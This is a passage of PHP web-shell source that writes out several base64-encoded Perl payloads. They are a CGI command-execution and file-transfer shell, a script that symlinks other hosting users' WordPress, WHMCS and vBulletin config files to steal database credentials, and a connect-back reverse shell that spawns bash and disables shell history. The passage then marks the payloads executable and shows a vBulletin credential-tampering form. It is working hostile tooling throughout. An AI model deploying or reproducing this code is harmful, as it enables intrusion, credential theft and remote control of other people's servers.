S0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEJlZ2luRG93bmxvYWQKewoJIyBnZXQgZnVsbHkgcXVhbGlmaWVkIHBhdGggb2YgdGhlIGZpbGUgdG8gYmUgZG93bmxvYWRlZAoJaWYoKCRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlxcfF4uOi8pKSB8CgkJKCEkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cLy8pKSkgIyBwYXRoIGlzIGFic29sdXRlCgl7CgkJJFRhcmdldEZpbGUgPSAkVHJhbnNmZXJGaWxlOwoJfQoJZWxzZSAjIHBhdGggaXMgcmVsYXRpdmUKCXsKCQljaG9wKCRUYXJnZXRGaWxlKSBpZigkVGFyZ2V0RmlsZSA9ICRDdXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOwoJCSRUYXJnZXRGaWxlIC49ICRQYXRoU2VwLiRUcmFuc2ZlckZpbGU7Cgl9CgoJaWYoJE9wdGlvbnMgZXEgImdvIikgIyB3ZSBoYXZlIHRvIHNlbmQgdGhlIGZpbGUKCXsKCQkmU2VuZEZpbGVUb0Jyb3dzZXIoJFRhcmdldEZpbGUpOwoJfQoJZWxzZSAjIHdlIGhhdmUgdG8gc2VuZCBvbmx5IHRoZSBsaW5rIHBhZ2UKCXsKCQkmUHJpbnREb3dubG9hZExpbmtQYWdlKCRUYXJnZXRGaWxlKTsKCX0KfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIgd2FudHMgdG8gdXBsb2FkIGEgZmlsZS4gSWYgdGhlCiMgZmlsZSBpcyBub3Qgc3BlY2lmaWVkLCBpdCBkaXNwbGF5cyBhIGZvcm0gYWxsb3dpbmcgdGhlIHVzZXIgdG8gc3BlY2lmeSBhCiMgZmlsZSwgb3RoZXJ3aXNlIGl0IHN0YXJ0cyB0aGUgdXBsb2FkIHByb2Nlc3MuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFVwbG9hZEZpbGUKewoJIyBpZiBubyBmaWxlIGlzIHNwZWNpZmllZCwgcHJpbnQgdGhlIHVwbG9hZCBmb3JtIGFnYWluCglpZigkVHJhbnNmZXJGaWxlIGVxICIiKQoJewoJCSZQcmludFBhZ2VIZWFkZXIoImYiKTsKCQkmUHJpbnRGaWxlVXBsb2FkRm9ybTsKCQkmUHJpbnRQYWdlRm9vdGVyOwoJCXJldHVybjsKCX0KCSZQcmludFBhZ2VIZWFkZXIoImMiKTsKCgkjIHN0YXJ0IHRoZSB1cGxvYWRpbmcgcHJvY2VzcwoJcHJpbnQgIjxjb2RlPlVwbG9hZGluZyAkVHJhbnNmZXJGaWxlIHRvICRDdXJyZW50RGlyLi4uPGJyPiI7CgoJIyBnZXQgdGhlIGZ1bGxseSBxdWFsaWZpZWQgcGF0aG5hbWUgb2YgdGhlIGZpbGUgdG8gYmUgY3JlYXRlZAoJY2hvcCgkVGFyZ2V0TmFtZSkgaWYgKCRUYXJnZXROYW1lID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87CgkkVHJhbnNmZXJGaWxlID1+IG0hKFteL15cXF0qKSQhOwoJJFRhcmdldE5hbWUgLj0gJFBhdGhTZXAuJDE7CgoJJFRhcmdldEZpbGVTaXplID0gbGVuZ3RoKCRpbnsnZmlsZWRhdGEnfSk7CgkjIGlmIHRoZSBmaWxlIGV4aXN0cyBhbmQgd2UgYXJlIG5vdCBzdXBwb3NlZCB0byBvdmVyd3JpdGUgaXQKCWlmKC1lICRUYXJnZXROYW1lICYmICRPcHRpb25zIG5lICJvdmVyd3JpdGUiKQoJewoJCXByaW50ICJGYWlsZWQ6IERlc3RpbmF0aW9uIGZpbGUgYWxyZWFkeSBleGlzdHMuPGJyPiI7Cgl9CgllbHNlICMgZmlsZSBpcyBub3QgcHJlc2VudAoJewoJCWlmKG9wZW4oVVBMT0FERklMRSwgIj4kVGFyZ2V0TmFtZSIpKQoJCXsKCQkJYmlubW9kZShVUExPQURGSUxFKSBpZiAkV2luTlQ7CgkJCXByaW50IFVQTE9BREZJTEUgJGlueydmaWxlZGF0YSd9OwoJCQljbG9zZShVUExPQURGSUxFKTsKCQkJcHJpbnQgIlRyYW5zZmVyZWQgJFRhcmdldEZpbGVTaXplIEJ5dGVzLjxicj4iOwoJCQlwcmludCAiRmlsZSBQYXRoOiAkVGFyZ2V0TmFtZTxicj4iOwoJCX0KCQllbHNlCgkJewoJCQlwcmludCAiRmFpbGVkOiAkITxicj4iOwoJCX0KCX0KCXByaW50ICI8L2NvZGU+IjsKCSZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOwoJJlByaW50UGFnZUZvb3RlcjsKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIgd2FudHMgdG8gZG93bmxvYWQgYSBmaWxlLiBJZiB0aGUKIyBmaWxlbmFtZSBpcyBub3Qgc3BlY2lmaWVkLCBpdCBkaXNwbGF5cyBhIGZvcm0gYWxsb3dpbmcgdGhlIHVzZXIgdG8gc3BlY2lmeSBhCiMgZmlsZSwgb3RoZXJ3aXNlIGl0IGRpc3BsYXlzIGEgbWVzc2FnZSB0byB0aGUgdXNlciBhbmQgcHJvdmlkZXMgYSBsaW5rCiMgdGhyb3VnaCAgd2hpY2ggdGhlIGZpbGUgY2FuIGJlIGRvd25sb2FkZWQuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIERvd25sb2FkRmlsZQp7CgkjIGlmIG5vIGZpbGUgaXMgc3BlY2lmaWVkLCBwcmludCB0aGUgZG93bmxvYWQgZm9ybSBhZ2FpbgoJaWYoJFRyYW5zZmVyRmlsZSBlcSAiIikKCXsKCQkmUHJpbnRQYWdlSGVhZGVyKCJmIik7CgkJJlByaW50RmlsZURvd25sb2FkRm9ybTsKCQkmUHJpbnRQYWdlRm9vdGVyOwoJCXJldHVybjsKCX0KCQoJIyBnZXQgZnVsbHkgcXVhbGlmaWVkIHBhdGggb2YgdGhlIGZpbGUgdG8gYmUgZG93bmxvYWRlZAoJaWYoKCRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlxcfF4uOi8pKSB8CgkJKCEkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cLy8pKSkgIyBwYXRoIGlzIGFic29sdXRlCgl7CgkJJFRhcmdldEZpbGUgPSAkVHJhbnNmZXJGaWxlOwoJfQoJZWxzZSAjIHBhdGggaXMgcmVsYXRpdmUKCXsKCQljaG9wKCRUYXJnZXRGaWxlKSBpZigkVGFyZ2V0RmlsZSA9ICRDdXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOwoJCSRUYXJnZXRGaWxlIC49ICRQYXRoU2VwLiRUcmFuc2ZlckZpbGU7Cgl9CgoJaWYoJE9wdGlvbnMgZXEgImdvIikgIyB3ZSBoYXZlIHRvIHNlbmQgdGhlIGZpbGUKCXsKCQkmU2VuZEZpbGVUb0Jyb3dzZXIoJFRhcmdldEZpbGUpOwoJfQoJZWxzZSAjIHdlIGhhdmUgdG8gc2VuZCBvbmx5IHRoZSBsaW5rIHBhZ2UKCXsKCQkmUHJpbnREb3dubG9hZExpbmtQYWdlKCRUYXJnZXRGaWxlKTsKCX0KfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIE1haW4gUHJvZ3JhbSAtIEV4ZWN1dGlvbiBTdGFydHMgSGVyZQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiZSZWFkUGFyc2U7CiZHZXRDb29raWVzOwoKJFNjcmlwdExvY2F0aW9uID0gJEVOVnsnU0NSSVBUX05BTUUnfTsKJFNlcnZlck5hbWUgPSAkRU5WeydTRVJWRVJfTkFNRSd9OwokTG9naW5QYXNzd29yZCA9ICRpbnsncCd9OwokUnVuQ29tbWFuZCA9ICRpbnsnYyd9OwokVHJhbnNmZXJGaWxlID0gJGlueydmJ307CiRPcHRpb25zID0gJGlueydvJ307CgokQWN0aW9uID0gJGlueydhJ307CiRBY3Rpb24gPSAibG9naW4iIGlmKCRBY3Rpb24gZXEgIiIpOyAjIG5vIGFjdGlvbiBzcGVjaWZpZWQsIHVzZSBkZWZhdWx0CgojIGdldCB0aGUgZGlyZWN0b3J5IGluIHdoaWNoIHRoZSBjb21tYW5kcyB3aWxsIGJlIGV4ZWN1dGVkCiRDdXJyZW50RGlyID0gJGlueydkJ307CmNob3AoJEN1cnJlbnREaXIgPSBgJENtZFB3ZGApIGlmKCRDdXJyZW50RGlyIGVxICIiKTsKCiRMb2dnZWRJbiA9ICRDb29raWVzeydTQVZFRFBXRCd9IGVxICRwYXNzd29yZDsKCmlmKCRBY3Rpb24gZXEgImxvZ2luIiB8fCAhJExvZ2dlZEluKSAjIHVzZXIgbmVlZHMvaGFzIHRvIGxvZ2luCnsKCSZQZXJmb3JtTG9naW47Cn0KZWxzaWYoJEFjdGlvbiBlcSAiY29tbWFuZCIpICMgdXNlciB3YW50cyB0byBydW4gYSBjb21tYW5kCnsKCSZFeGVjdXRlQ29tbWFuZDsKfQplbHNpZigkQWN0aW9uIGVxICJ1cGxvYWQiKSAjIHVzZXIgd2FudHMgdG8gdXBsb2FkIGEgZmlsZQp7CgkmVXBsb2FkRmlsZTsKfQplbHNpZigkQWN0aW9uIGVxICJkb3dubG9hZCIpICMgdXNlciB3YW50cyB0byBkb3dubG9hZCBhIGZpbGUKewoJJkRvd25sb2FkRmlsZTsKfQplbHNpZigkQWN0aW9uIGVxICJsb2dvdXQiKSAjIHVzZXIgd2FudHMgdG8gbG9nb3V0CnsKCSZQZXJmb3JtTG9nb3V0Owp9Cg==');
$write = fwrite ($file ,$sa);
$file = fopen($dir."config.sa" ,"w+");
$sa=base64_decode('IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluCnByaW50ICJDb250ZW50LXR5cGU6IHRleHQvaHRtbFxuXG4iOwpwcmludCc8IURPQ1RZUEUgaHRtbCBQVUJMSUMgIi0vL1czQy8vRFREIFhIVE1MIDEuMCBUcmFuc2l0aW9uYWwvL0VOIiAiaHR0cDovL3d3dy53My5vcmcvVFIveGh0bWwxL0RURC94aHRtbDEtdHJhbnNpdGlvbmFsLmR0ZCI+CjxodG1sIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hodG1sIj4KPGhlYWQ+CjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtTGFuZ3VhZ2UiIGNvbnRlbnQ9ImVuLXVzIiAvPgo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD11dGYtOCIgLz4KPHRpdGxlPlt+XSBDeWIzci1EWiBDb25maWcgLSBbfl0gPC90aXRsZT4KPHN0eWxlIHR5cGU9InRleHQvY3NzIj4KLm5ld1N0eWxlMSB7CiBmb250LWZhbWlseTogVGFob21hOwogZm9udC1zaXplOiB4LXNtYWxsOwogZm9udC13ZWlnaHQ6IGJvbGQ7CiBjb2xvcjogIzAwRkZGRjsKICB0ZXh0LWFsaWduOiBjZW50ZXI7Cn0KPC9zdHlsZT4KPC9oZWFkPgonOwpzdWIgbGlsewogICAgKCR1c2VyKSA9IEBfOwokbXNyID0gcXh7cHdkfTsKJGtvbGE9JG1zci4iLyIuJHVzZXI7CiRrb2xhPX5zL1xuLy9nOyAKc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2FtZW1iZXIvY29uZmlnLmluYy5waHAnLCRrb2xhLictYW1lbWJlci50eHQnKTsKc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZpZy5pbmMucGhwJywka29sYS4nLWFtZW1iZXIyLnR4dCcpOwpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbWVtYmVycy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1tZW1iZXJzLnR4dCcpOwpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY29uZmlnLnBocCcsJGtvbGEuJzIudHh0Jyk7CnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9mb3J1bS9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nLWZvcnVtLnR4dCcpOwpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvYWRtaW4vY29uZmlnLnBocCcsJGtvbGEuJzQudHh0Jyk7CnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93cC1jb25maWcucGhwJywka29sYS4nLXdwMTMudHh0Jyk7CnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC92Yi9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nLXZiLnR4dCcpOwpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJy1pbmNsdWRlcy12Yi50eHQnKTsKc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobS9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy13aG0xNS50eHQnKTsKc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobWMvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictd2htYzE2LnR4dCcpOwpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvd2htY3MvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictd2htY3MudHh0Jyk7CnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zdXBwb3J0L2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLXN1cHBvcnQudHh0Jyk7CnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJzF3aG1jcy50eHQnKTsKc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3N1Ym1pdHRpY2tldC5waHAnLCRrb2xhLictd2htY3MyLnR4dCcpOwpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50cy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1jbGllbnRzLnR4dCcpOwpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50L2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWNsaWVudC50eHQnKTsKc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NsaWVudGVzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWNsaWVudHMudHh0Jyk7CnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9iaWxsaW5nL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWJpbGxpbmcudHh0Jyk7IApzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbWFuYWdlL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWJpbGxpbmcudHh0Jyk7IApzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbXkvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictYmlsbGluZy50eHQnKTsgCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9teXNob3AvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictYmlsbGluZy50eHQnKTsgCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9iaWxsaW5nL3dobWNzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWJpbGxpbmcudHh0Jyk7IApzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvc2VjdXJlL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWJpbGxpbmctc2VjdXJlLnR4dCcpOyAKc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL21hbmFnZS9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1iaWxsaW5nLW1hbmFnZS50eHQnKTsgCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9hY2NvdW50L2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWJpbGxpbmctYWNjb3VudC50eHQnKTsgCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zZXJ2aWNlcy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1iaWxsaW5nLWFjY291bnQudHh0Jyk7IApzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbXkvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictYmlsbGluZy1teS50eHQnKTsgCn0KaWYgKCRFTlZ7J1JFUVVFU1RfTUVUSE9EJ30gZXEgJ1BPU1QnKSB7CiAgcmVhZChTVERJTiwgJGJ1ZmZlciwgJEVOVnsnQ09OVEVOVF9MRU5HVEgnfSk7Cn0gZWxzZSB7CiAgJGJ1ZmZlciA9ICRFTlZ7J1FVRVJZX1NUUklORyd9Owp9CkBwYWlycyA9IHNwbGl0KC8mLywgJGJ1ZmZlcik7CmZvcmVhY2ggJHBhaXIgKEBwYWlycykgewogICgkbmFtZSwgJHZhbHVlKSA9IHNwbGl0KC89LywgJHBhaXIpOwogICRuYW1lID1+IHRyLysvIC87CiAgJG5hbWUgPX4gcy8lKFthLWZBLUYwLTldW2EtZkEtRjAtOV0pL3BhY2soIkMiLCBoZXgoJDEpKS9lZzsKICAkdmFsdWUgPX4gdHIvKy8gLzsKICAkdmFsdWUgPX4gcy8lKFthLWZBLUYwLTldW2EtZkEtRjAtOV0pL3BhY2soIkMiLCBoZXgoJDEpKS9lZzsKICAkRk9STXskbmFtZX0gPSAkdmFsdWU7Cn0KaWYgKCRGT1JNe3Bhc3N9IGVxICIiKXsKcHJpbnQgJwo8Ym9keSBjbGFzcz0ibmV3U3R5bGUxIiBiZ2NvbG9yPSIjMDAwMDAwIj4KPHA+TWFyaW9uMDAxIENvbmZpZyAgU2NyaXB0PC9wPgo8Zm9ybSBtZXRob2Q9InBvc3QiPgo8dGV4dGFyZWEgbmFtZT0icGFzcyIgc3R5bGU9ImJvcmRlcjoxcHggZG90dGVkICMwMEZGRkY7IHdpZHRoOiA1NDNweDsgaGVpZ2h0OiA0MjBweDsgYmFja2dyb3VuZC1jb2xvcjojMEMwQzBDOyBmb250LWZhbWlseTpUYWhvbWE7IGZvbnQtc2l6ZTo4cHQ7IGNvbG9yOiMwMEZGRkYiICA+PC90ZXh0YXJlYT48YnIgLz4KJm5ic3A7PHA+CjxpbnB1dCB2YWx1ZT0iI2NhdCAvZXRjL3Bhc3N3ZCIgbmFtZT0idGFyIiB0eXBlPSJ0ZXh0IiBzdHlsZT0iYm9yZGVyOjFweCBkb3R0ZWQgIzAwRkZGRjsgd2lkdGg6IDIxMnB4OyBiYWNrZ3JvdW5kLWNvbG9yOiMwQzBDMEM7IGZvbnQtZmFtaWx5OlRhaG9tYTsgZm9udC1zaXplOjhwdDsgY29sb3I6IzAwRkZGRjsgIiAgLz48YnIgLz4KJm5ic3A7PC9wPgo8cD4KPGlucHV0IG5hbWU9IlN1Ym1pdDEiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkdldCBDb25maWciIHN0eWxlPSJib3JkZXI6MXB4IGRvdHRlZCAjMDBGRkZGOyB3aWR0aDogOTk7IGZvbnQtZmFtaWx5OlRhaG9tYTsgZm9udC1zaXplOjEwcHQ7IGNvbG9yOiMwMEZGRkY7IHRleHQtdHJhbnNmb3JtOnVwcGVyY2FzZTsgaGVpZ2h0OjIzOyBiYWNrZ3JvdW5kLWNvbG9yOiMwQzBDMEMiIC8+PC9wPgo8L2Zvcm0+JzsKfWVsc2V7CkBsaW5lcyA9PCRGT1JNe3Bhc3N9PjsKJHkgPSBAbGluZXM7Cm9wZW4gKE1ZRklMRSwgIj50YXIudG1wIik7CnByaW50IE1ZRklMRSAidGFyIC1jemYgIi4kRk9STXt0YXJ9LiIudGFyICI7CmZvciAoJGthPTA7JGthPCR5OyRrYSsrKXsKd2hpbGUoQGxpbmVzWyRrYV0gID1+IG0vKC4qPyk6eDovZyl7CiZsaWwoJDEpOwpwcmludCBNWUZJTEUgJDEuIi50eHQgIjsKZm9yKCRrZD0xOyRrZDwxODska2QrKyl7CnByaW50IE1ZRklMRSAkMS4ka2QuIi50eHQgIjsKfQp9CiB9CnByaW50Jzxib2R5IGNsYXNzPSJuZXdTdHlsZTEiIGJnY29sb3I9IiMwMDAwMDAiPgo8cD5Eb25lICEhPC9wPgo8cD4mbmJzcDs8L3A+JzsKaWYoJEZPUk17dGFyfSBuZSAiIil7Cm9wZW4oSU5GTywgInRhci50bXAiKTsKQGxpbmVzID08SU5GTz4gOwpjbG9zZShJTkZPKTsKc3lzdGVtKEBsaW5lcyk7CnByaW50JzxwPjxhIGhyZWY9IicuZ2V0VXBQYXRoKCRub3dwYXRoKS4nLnJhciI+PGZvbnQgY29sb3I9IiMwMEZGMDAiPgo8c3BhbiBzdHlsZT0idGV4dC1kZWNvcmF0aW9uOiBub25lIj5DbGljayBIZXJlIFRvIERvd25sb2FkIFRhciBGaWxlPC9zcGFuPjwvZm9udD48L2E+PC9wPic7Cn0KfQogcHJpbnQiCjwvYm9keT4KPC9odG1sPiI7Cg==
');
$write = fwrite ($file ,$sa);
$file = fopen($dir."backdoor.txt" ,"w+");
$sa=base64_decode('IyEvdXNyL2Jpbi9wZXJsCnVzZSBJTzo6U29ja2V0OwojICAgUHJpdjggKiogUHJpdjggKiogUHJp
djgKIyBJUkFOIEhBQ0tFUlMgU0FCT1RBR0UgQ29ubmVjdCBCYWNrIFNoZWxsICAgICAgICAgIAoj
IGNvZGUgYnk6TG9yRAojIFdlIEFyZSA6TG9yRC1DMGQzci1OVC1ceDkwICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgIAojIEVtYWlsOkxvckRAaWhzdGVhbS5jb20KIwoj
bG9yZEBTbGFja3dhcmVMaW51eDovaG9tZS9wcm9ncmFtaW5nJCBwZXJsIGRjLnBsCiMtLT09IENv
bm5lY3RCYWNrIEJhY2tkb29yIFNoZWxsIHZzIDEuMCBieSBMb3JEIG9mIElSQU4gSEFDS0VSUyBT
QUJPVEFHRSA9PS0tCiMKI1VzYWdlOiBkYy5wbCBbSG9zdF0gW1BvcnRdCiMKI0V4OiBkYy5wbCAx
MjcuMC4wLjEgMjEyMQojbG9yZEBTbGFja3dhcmVMaW51eDovaG9tZS9wcm9ncmFtaW5nJCBwZXJs
IGRjLnBsIDEyNy4wLjAuMSAyMTIxCiMtLT09IENvbm5lY3RCYWNrIEJhY2tkb29yIFNoZWxsIHZz
IDEuMCBieSBMb3JEIG9mIElSQU4gSEFDS0VSUyBTQUJPVEFHRSA9PS0tCiMKI1sqXSBSZXNvbHZp
bmcgSG9zdE5hbWUKI1sqXSBDb25uZWN0aW5nLi4uIDEyNy4wLjAuMQojWypdIFNwYXduaW5nIFNo
ZWxsCiNbKl0gQ29ubmVjdGVkIHRvIHJlbW90ZSBob3N0CgojYmFzaC0yLjA1YiMgbmMgLXZ2IC1s
IC1wIDIxMjEKI2xpc3RlbmluZyBvbiBbYW55XSAyMTIxIC4uLgojY29ubmVjdCB0byBbMTI3LjAu
MC4xXSBmcm9tIGxvY2FsaG9zdCBbMTI3LjAuMC4xXSAzMjc2OQojLS09PSBDb25uZWN0QmFjayBC
YWNrZG9vciB2cyAxLjAgYnkgTG9yRCBvZiBJUkFOIEhBQ0tFUlMgU0FCT1RBR0UgPT0tLQojCiMt
LT09U3lzdGVtaW5mbz09LS0KI0xpbnV4IFNsYWNrd2FyZUxpbnV4IDIuNi43ICMxIFNNUCBUaHUg
RGVjIDIzIDAwOjA1OjM5IElSVCAyMDA0IGk2ODYgdW5rbm93biB1bmtub3duIEdOVS9MaW51eAoj
CiMtLT09VXNlcmluZm89PS0tCiN1aWQ9MTAwMShsb3JkKSBnaWQ9MTAwKHVzZXJzKSBncm91cHM9
MTAwKHVzZXJzKQojCiMtLT09RGlyZWN0b3J5PT0tLQojL3Jvb3QKIwojLS09PVNoZWxsPT0tLQoj
CiRzeXN0ZW0JPSAnL2Jpbi9iYXNoJzsKJEFSR0M9QEFSR1Y7IApwcmludCAiSUhTIEJBQ0stQ09O
TkVDVCBCQUNLRE9PUlxuXG4iOyAKaWYgKCRBUkdDIT0yKSB7IAogICBwcmludCAiVXNhZ2U6ICQw
IFtIb3N0XSBbUG9ydF0gXG5cbiI7IAogICBkaWUgIkV4OiAkMCAxMjcuMC4wLjEgMjEyMSBcbiI7
IAp9IAp1c2UgU29ja2V0OyAKdXNlIEZpbGVIYW5kbGU7IApzb2NrZXQoU09DS0VULCBQRl9JTkVU
LCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKSBvciBkaWUgcHJpbnQgIlstXSBV
bmFibGUgdG8gUmVzb2x2ZSBIb3N0XG4iOyAKY29ubmVjdChTT0NLRVQsIHNvY2thZGRyX2luKCRB
UkdWWzFdLCBpbmV0X2F0b24oJEFSR1ZbMF0pKSkgb3IgZGllIHByaW50ICJbLV0gVW5hYmxlIHRv
IENvbm5lY3QgSG9zdFxuIjsgCnByaW50ICJbKl0gUmVzb2x2aW5nIEhvc3ROYW1lXG4iOwpwcmlu
dCAiWypdIENvbm5lY3RpbmcuLi4gJEFSR1ZbMF0gXG4iOyAKcHJpbnQgIlsqXSBTcGF3bmluZyBT
aGVsbCBcbiI7CnByaW50ICJbKl0gQ29ubmVjdGVkIHRvIHJlbW90ZSBob3N0IFxuIjsKU09DS0VU
LT5hdXRvZmx1c2goKTsgCm9wZW4oU1RESU4sICI+JlNPQ0tFVCIpOyAKb3BlbihTVERPVVQsIj4m
U09DS0VUIik7IApvcGVuKFNUREVSUiwiPiZTT0NLRVQiKTsgCnByaW50ICJJSFMgQkFDSy1DT05O
RUNUIEJBQ0tET09SICBcblxuIjsgCnN5c3RlbSgidW5zZXQgSElTVEZJTEU7IHVuc2V0IFNBVkVI
SVNUIDtlY2hvIC0tPT1TeXN0ZW1pbmZvPT0tLSA7IHVuYW1lIC1hO2VjaG87CmVjaG8gLS09PVVz
ZXJpbmZvPT0tLSA7IGlkO2VjaG87ZWNobyAtLT09RGlyZWN0b3J5PT0tLSA7IHB3ZDtlY2hvOyBl
Y2hvIC0tPT1TaGVsbD09LS0gIik7IApzeXN0ZW0oJHN5c3RlbSk7CiNFT0Y=');
$write = fwrite ($file ,$sa);
fclose($file);
chmod($dir."cgi.pl" , 0755);
chmod($dir."user.sa" , 0755);
chmod($dir."dz.sa" , 0755);
chmod($dir."config.sa" , 0755);
if ($write) { echo '<p align="center">Download Files is Done: <a href="'.$_POST['name_dir_download'].'" target="_blank" style="text-decoration: none">Click ....</a></p>

';
} else {echo"\"error\"";
} } if($_POST['submit_download']){ download_files($_POST['name_dir_download']);
} function update() { echo "[+] Update Has D0n3 ^_^";
} if (isset($_POST['vbulletin'])) { echo "
<table border=0 width='100%'>

<font face='Arial' color='#000000'>Change vBulletin Info
Patch Control Panel : [patch]/admincp
Path Config : [patch]/includes/config.php
includes/init.php </font>
<font face='Arial' color='#FF0000'>>></font><font face='Arial' color='#000000'> includes/class_core.php </font>
<font face='Arial' color='#FF0000'>>></font><font face='Arial' color='#000000'> includes/config.php</font>

<font face='Arial' color='#000000'>Mysql Host</font>
<input value=localhost type=text name=dbhvb size='50' style='font-size: 8pt;

color: #000000;

font-family: Tahoma;

border: 1px solid #666666;

background-color: #FFFFFF'>

<font face='Arial' color='#000000'>DB name
</font><input value=forums type=text name=dbnvb size='50' style='font-size: 8pt;

color: #000000;

font-family: Tahoma;

border: 1px solid #666666;

background-color: #FFFFFF'>

<font face='Arial' color='#000000'>DB user
</font><input value=root type=text name=dbuvb size='50' style='font-size: 8pt;

color: #000000;

font-family: Tahoma;

border: 1px solid #666666;

background-color: #FFFFFF'>

<font face='Arial' color='#000000'>DB password
</font><input value=admin type=text name=dbpvb size='50' style='font-size: 8pt;

color: #000000;

font-family: Tahoma;

